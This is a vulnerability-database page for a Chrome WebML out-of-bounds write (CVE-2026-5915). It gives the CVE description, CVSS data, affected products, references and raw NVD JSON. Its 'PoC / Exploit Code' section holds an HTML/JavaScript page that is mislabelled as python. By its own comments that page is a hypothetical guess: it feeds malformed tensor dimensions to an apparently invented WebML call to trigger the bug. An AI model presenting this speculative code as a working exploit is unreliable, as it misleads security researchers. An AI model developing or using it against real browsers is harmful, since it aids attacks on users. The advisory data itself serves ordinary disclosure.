CVE-2026-5915

Description

Insufficient validation of untrusted input in WebML in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-5915 -->
<!-- This PoC attempts to trigger the out-of-bounds write in WebML -->
<html>
<body>
<script>
    // Attempt to trigger the vulnerability via WebML API
    // Note: Specific API calls depend on the WebML implementation in Chrome v147
    try {
        if (navigator.ml) {
            // Constructing malicious tensor inputs to trigger OOB write
            // Creating a large array to potentially bypass boundary checks
            const maliciousData = new Float32Array(0x1000);
            for(let i=0; i<maliciousData.length; i++) {
                maliciousData[i] = 1.23456; 
            }
            
            // Hypothetical trigger function based on the vulnerability description
            // This assumes the vulnerability is in the graph builder or tensor operator
            const builder = navigator.ml.createGraphBuilder();
            // Passing malformed dimensions to attempt OOB access
            const input = builder.input('input', {type: 'float32', dimensions: [999999]}); 
            const op = builder.mul(input, input);
            
            // Build and execute to trigger the crash/write
            const graph = builder.build({input: maliciousData});
            graph.compute({});
        } else {
            console.log("WebML not supported in this environment.");
        }
    } catch(e) {
        console.error("Exception caught during PoC execution:", e);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5915
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5915
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5915/
[4] VulDB https://vuldb.com/cve/CVE-2026-5915
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/494341335

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5915", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:31.460", "lastModified": "2026-04-29T16:16:27.930", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in WebML in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/494341335", "source": "[email protected]", "tags": ["Permissions Required"]}]}}